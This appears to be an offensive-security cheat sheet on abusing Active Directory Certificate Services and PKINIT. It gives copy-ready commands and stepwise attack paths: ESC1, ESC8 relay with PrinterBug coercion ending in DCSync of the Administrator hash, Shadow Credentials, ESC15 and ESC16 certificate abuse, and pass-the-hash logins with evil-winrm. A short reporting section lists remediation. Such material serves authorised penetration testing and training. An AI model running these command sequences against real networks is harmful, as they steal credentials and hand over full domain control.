🛡️ Methodology Checklist
- Identify ADCS CA:
certutil -config - -ping - Enumerate templates:
certipy find -u [USER] -p [PASS] -dc-ip [DC_IP] -vulnerable - Identify ESC1 (SAN in template) or other ESC misconfigurations
- Request cert with alt SAN:
certipy req -u [USER] -p [PASS] -ca [CA] -template [TEMPLATE] -upn [TARGET_USER]@[DOMAIN] - Authenticate with cert:
certipy auth -pfx [cert.pfx] -dc-ip [DC_IP] - Use returned NT hash for PtH or DCSync
🎯 Operational Context
Use when: AD Certificate Services (ADCS) is deployed and a certificate has been obtained for a user or computer — use PKINIT to get a TGT without knowing the password.
Think Dumber First: If ESC1 (enrollee can supply subject), request cert for DA: certipy req -u [USER]@[DOMAIN] -p [PASS] -ca [CA] -template [VULN_TEMPLATE] -upn [DA_USER]@[DOMAIN]. Then certipy auth -pfx [DA_CERT].pfx -dc-ip [DC] for TGT and NTLM hash.
Skip when: No ADCS deployed or no vulnerable certificate template available.
⚡ Tactical Cheatsheet
| Command | Tactical Outcome |
|---|---|
impacket-ntlmrelayx -t http://[CA_IP]/certsrv/certfnsh.asp --adcs -smb2support --template KerberosAuthentication | Relay DC auth to CA web enrollment (ESC8) |
python3 printerbug.py [DOMAIN]/[USER]:[PASS]@[DC_IP] [LHOST] | Coerce DC authentication via PrinterBug |
git clone https://github.com/dirkjanm/PKINITtools.git && pip3 install -r requirements.txt | Install PKINITtools |
python3 gettgtpkinit.py -cert-pfx DC01$.pfx -dc-ip [DC_IP] [DOMAIN]/DC01$ /tmp/dc01.ccache | Convert .pfx certificate to Kerberos TGT |
export KRB5CCNAME=/tmp/dc01.ccache && klist | Activate and verify certificate-derived ticket |
python3 secretsdump.py -k -no-pass [DOMAIN]/DC01$@[DC_HOSTNAME] -just-dc-user Administrator | DCSync using DC machine account ticket |
pywhisker --dc-ip [DC_IP] -d [DOMAIN] -u [USER] -p [PASS] --target [TARGET_USER] --action add | Shadow Credentials: inject certificate into target account |
python3 gettgtpkinit.py -cert-pfx [FILE].pfx -pfx-pass [PFX_PASS] -dc-ip [DC_IP] [DOMAIN]/[TARGET_USER] /tmp/target.ccache | Get TGT using shadow credentials certificate |
python3 getnthash.py -key [AS_REP_KEY] -dc-ip [DC_IP] [DOMAIN]/[TARGET_USER] | Extract NTLM hash from certificate authentication session |
evil-winrm -i [TARGET_IP] -u [TARGET_USER] -H [NTLM_HASH] | Login with extracted hash |
sudo ntpdate [DC_IP] | Fix clock skew (Kerberos clock tolerance is 5 min) |
🔬 Deep Dive & Workflow
PKINIT — Certificate-Based Kerberos Auth
PKINIT (Public Key Cryptography for Initial Authentication) allows Kerberos TGT requests using X.509 certificates instead of passwords. Normally used for smart card authentication. Attackers abuse it with stolen or forged certificates.
Attack Path 1 — AD CS ESC8 Relay (DC Compromise)
Goal: Force DC to authenticate to attacker → relay to CA → receive certificate for the DC machine account → DCSync
ntlmrelayx ← relay target (CA web enrollment)
PrinterBug → coerce DC01 to authenticate to attacker
→ ntlmrelayx receives DC01$ credentials
→ enrolls DC01$.pfx certificate from CA
# Step 1: Start relay listener
impacket-ntlmrelayx -t http://[CA_IP]/certsrv/certfnsh.asp --adcs -smb2support --template KerberosAuthentication
# Step 2: Coerce DC authentication
python3 printerbug.py [DOMAIN]/[USER]:[PASS]@[DC_IP] [LHOST]
# Step 3: Convert cert to TGT
python3 gettgtpkinit.py -cert-pfx DC01$.pfx -dc-ip [DC_IP] [DOMAIN]/DC01$ /tmp/dc01.ccache
# Step 4: DCSync
export KRB5CCNAME=/tmp/dc01.ccache
python3 secretsdump.py -k -no-pass [DOMAIN]/DC01$@[DC01].[DOMAIN] -just-dc-user AdministratorIdentity matters: DC machine account (DC01$) gives replication rights → DCSync. User certs give only user-level access.
Attack Path 2 — Shadow Credentials (Write Permission Required)
Goal: If you have AddKeyCredentialLink write permission on a target user object, inject your own certificate.
# 1. Inject certificate (save the PFX filename and password from output)
pywhisker --dc-ip [DC_IP] -d [DOMAIN] -u [USER] -p [PASS] --target [TARGET_USER] --action add
# 2. Get TGT as target
python3 gettgtpkinit.py -cert-pfx [FILE].pfx -pfx-pass [PFX_PASS] -dc-ip [DC_IP] [DOMAIN]/[TARGET_USER] /tmp/target.ccache
# 3. Extract NTLM from session key (look for "AS-REP encryption key" in gettgtpkinit output)
python3 getnthash.py -key [AS_REP_KEY] -dc-ip [DC_IP] [DOMAIN]/[TARGET_USER]
# 4. Use hash directly (avoids Kerberos DNS requirements)
evil-winrm -i [TARGET_IP] -u [TARGET_USER] -H [NTLM_HASH]Attack Path 3 — ESC16 (Security Extension Disabled, CA-wide)
Goal: Exploit a CA-level misconfig (NOT per-template). When the CA does not embed the SID security extension (szOID_NTDS_CA_SECURITY_EXT) into issued certificates, strong certificate mapping is bypassable for any client-auth template — so the SID is never validated against the SAN/UPN at authentication time.
The flow: temporarily point a controlled account’s UPN at the target, enroll a cert off any client-auth template, then restore the UPN before authenticating.
# 1. Hijack the controlled account's UPN to the target (DESTRUCTIVE — see gotcha)
certipy account update -username [CONTROLLED]@[DOMAIN] -p [PASS] -dc-ip [DC_IP] -upn administrator@[DOMAIN]
# 2. Request a cert off ANY client-auth template as the controlled account
certipy req -u [CONTROLLED]@[DOMAIN] -p [PASS] -dc-ip [DC_IP] -ca [CA] -template [ANY_CLIENT_AUTH_TEMPLATE]
# 3. Restore the original UPN IMMEDIATELY (do not skip — breaks the account's normal auth)
certipy account update -username [CONTROLLED]@[DOMAIN] -p [PASS] -dc-ip [DC_IP] -upn [CONTROLLED]@[DOMAIN]
# 4. PKINIT as the target — the disabled SID extension means the cert maps to administrator
certipy auth -pfx administrator.pfx -dc-ip [DC_IP]GOTCHA — destructive UPN swap: Step 1 overwrites the controlled account’s UPN, which breaks its normal logon for as long as it points at the target. Restore the UPN (Step 3) the instant the cert is issued, before authenticating. Treat Steps 1–3 as one atomic block.
Windows equivalent:
certipy.exemirrors the sameaccount update/req/authsubcommands from a Windows foothold; certipy (Linux) is the canonical path here.
Attack Path 4 — ESC15 (Schema-v1 template + application policies injection, EKUwu)
Goal: Abuse a Schema Version 1 template that allows the enrollee to supply the subject. Schema-v1 templates honour caller-supplied application policies, so inject a Client Authentication application policy to make an otherwise-non-auth cert usable for PKINIT — even when the listed EKU wouldn’t normally permit it.
Identify: template with Schema Version 1 + Enrollee Supplies Subject + a client/server-auth EKU. Flagged as ESC15 in certipy find.
# 1. Request, supplying both the target identity (UPN + SID) and an injected client-auth application policy
certipy req -u [USER]@[DOMAIN] -p [PASS] -dc-ip [DC_IP] -ca [CA] -template [TEMPLATE] \
-upn [TARGET]@[DOMAIN] -sid [TARGET_SID] -application-policies 'Client Authentication'
# 2. Authenticate as the target
certipy auth -pfx [TARGET].pfx -dc-ip [DC_IP]Windows equivalent:
certipy.exe req ... -application-policies 'Client Authentication'— same workflow from a Windows foothold; certipy (Linux) remains the canonical path.
Troubleshooting
| Error | Fix |
|---|---|
KDC_ERR_WRONG_REALM | Check domain spelling — .LOCAL vs .HTB |
Name or service not known | Add DC hostname to /etc/hosts |
Connection refused on port 88 | Wrong IP — port 88 is on DC, not CA |
Clock skew too great | sudo ntpdate [DC_IP] — must be within 5 min |
🛠️ Troubleshooting & Edge Cases
| Problem | Cause | Fix |
|---|---|---|
| certipy not installed | Missing tool | Install: pip3 install certipy-ad; use certipy-ad command after install |
| Certificate enrollment fails | Template not allowing enrollment | Check template permissions: certipy find -u [USER]@[DOMAIN] -p [PASS] -dc-ip [DC] -vulnerable |
| PKINIT fails with KDC error | PKINIT not configured on DC | Verify: DCs must have PKINIT enabled and DC cert issued; some labs lack this |
| pfx auth returns error | Wrong DC IP or clock skew | Sync time; use primary DC IP; add -domain [DOMAIN] explicitly |
| Shadow credentials attack alternative | No vulnerable template | If GenericWrite on target: certipy shadow auto -u [USER]@[DOMAIN] -p [PASS] -account [TARGET] |
certipy find -vulnerable shows no vulnerable templates | ESC16 is a CA-wide setting, not per-template — -vulnerable template output does not cover it | Read the CA-level output for ESC16 / “Security Extension Disabled” before ruling out ADCS escalation. (ESC15 does surface per-template, flagged ESC15.) |
| Orphaned / unresolved SID in a template’s enrollment ACL | The principal holding enrollment rights was deleted (tombstoned) | High-value clue, not a dead end. Map the SID to the tombstoned object: Get-ADObject -IncludeDeletedObjects -Filter * | Where-Object objectSid -eq [ORPHAN_SID], then restore it to recover its enrollment rights. A GenericAll over an “empty” OU is still useful when a deleted object’s lastKnownParent points back to it. |
| Restored principal disappears again mid-attack | A scheduled cleanup task re-purges restored/tombstoned objects | Run restore → password reset → certificate request in ONE fast pass with no pauses; do not stop to verify between steps. |
📝 Reporting Trigger
Finding Title: ADCS Vulnerable Certificate Template Enables Domain Privilege Escalation Impact: Misconfigured certificate template (ESC1-ESC8) allows requesting a certificate for any domain account including Domain Admin, enabling PKINIT authentication as that account and full domain compromise without password knowledge. Root Cause: Active Directory Certificate Services template misconfiguration allows certificate subject override or unrestricted enrollment by standard users. Recommendation: Run Certipy or PSPKIAudit against all ADCS deployments to identify vulnerable templates. Disable Manager Approval Issuance on vulnerable templates. Restrict enrollment permissions. Monitor for unusual certificate enrollment patterns via ADCS audit logs.
🔗 Related Nodes
- Pass_the_Ticket_Windows
- Pass_the_Ticket_Linux
- Windows_Credential_Dump_NTDS
- Pass_the_Hash
- tombwatcher — ESC15 (application policies injection) + tombstoned-object restore to recover enrollment rights
- fluffy — ESC16 (CA-wide Security Extension Disabled)